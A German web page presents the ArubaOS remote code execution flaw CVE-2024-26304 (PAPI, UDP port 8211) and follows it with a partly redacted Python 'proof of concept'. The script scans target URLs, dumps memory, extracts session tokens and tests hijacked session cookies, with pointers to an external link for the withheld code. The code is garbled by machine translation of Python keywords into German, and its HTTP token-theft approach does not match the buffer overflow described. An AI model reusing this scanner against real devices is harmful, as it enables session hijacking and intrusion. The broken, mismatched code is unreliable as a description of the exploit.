ArubaOS-Sicherheitslücke bei der Ausführung von Remotecode (CVE-2024-26304)
Beschreibungen
Im zugrundeliegenden L2/L3-Verwaltungsdienst besteht eine Pufferüberlaufschwachstelle, die durch das Senden speziell gestalteter Pakete für den UDP-Port (8211) von PAPI (Aruba Access Point Management Protocol) zur nicht authentifizierten Remotecodeausführung führen kann. Eine erfolgreiche Ausnutzung dieser Schwachstelle könnte zur Ausführung von beliebigem Code auf dem zugrunde liegenden Betriebssystem als privilegierter Benutzer führen.
poc
Importware
System einführen
hexdump importieren
argparse importieren
Einfuhrgesuchefrom rich.console.import Konsole
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completedwarnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)Klasse ArubaRCE.
def __init__(self).
self.console = Konsole()
self.parser = argparse.ArgumentParser(description='ArubaRCE')
self.setup_arguments()
self.results: Liste[Tupel[str, str]] = []
self.output_file: Optional[TextIO] = Keine
if self.args.output.
self.output_file = open(self.args.output, 'w')def setup_arguments(self) -> Keine.
self.parser.add_argument('-u', '-url', help='Das ArubaRCE / Gateway-Ziel (z.B. https://192.168.1.200)')
self.parser.add_argument('-f', '-file', help='Datei mit eine Liste von Ziel-URLs (eine URL pro Zeile)')
self.parser.add_argument('-o', '-output', help='Datei zum Speichern der Ausgabeergebnisse')
self.parser.add_argument('-v', '-verbose', action='store_ true', help='Ausführlichen Modus einschalten')
self.parser.add_argument('-only-valid', action='store_true', help= 'Nur Ergebnisse mit gültigen Sitzungen anzeigen')
self.args = self.parser.parse_args()def print_results(self, header: str, result: str) -> None.
wenn self.args.only_valid und "[+]" nicht in der Kopfzeile.
returnformatted_msg = f"{header} {result}"
self.console.print(formatted_msg, style="white")
if self.output_file.
self.output_file.write(result + '\n')def normalize_url(self, url: str) -> str.
if not url.startswith("http://") and not url.startswith("https://")::
url = f "https://{url}"parsed_url = urlparse(url)
normalised_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return normalisierte_urldef dump_memory(self, url: str) -> None.
full_url = self.normalise_url(url)
headers = {
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Kopfzeilen:", Kopfzeilen)
}versuchen.
r = requests.get(
f"{full_url}/oauth/redacted", # [REDACTED. Hier finden Sie den vollständigen Code https://t.ly/C1-D1]
headers=headers,
verify=False,
timeout=10
)
content_bytes = r.contentwenn r.status_code == 200 und content_bytes.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Inhaltsbytes:", content_bytes)außer Ausnahme wie e.
print("Fehler:", e)def clean_bytes(self, data: bytes) -> bytes.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Bytes reinigen...")def find_session_tokens(self, content_bytes: bytes) -> List[str].
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Sitzungs-Token finden...")def test_session_cookie(self, url: str, session_token: str) -> bool.
headers = {
"Cookie": f"[REDACTED. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]={session_token}"
}
versuchen.
r = requests.post(
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
)
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
print("Session-Cookie-Testergebnis:", Ergebnis)
Rückgabeergebnisaußer Ausnahme wie e.
print("Fehler:", e)
return Falsedef run(self) -> Keine.
if self.args.url.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
for header, result in self.results:
self.print_results(Kopfzeile, Ergebnis)
elif self.args.file.
# [REDAKTIERT. Den vollständigen Code finden Sie hier https://t.ly/C1-D1]
pass # Platzhalter für die Ausführung von Code zur Dateiverarbeitung
sonst.
self.console.print("[fett rot][-][/fett rot] URL oder Datei muss angegeben werden.", style="white")
sys.exit(1)if self.output_file.
self.output_file.close()if __name__ == "__main__".
getRCE = ArubaRCE()
getRCE.run()
Quelle der Verwundbarkeit
Kommentare
Kommentar hinzufügen-
Kommentarliste ist leer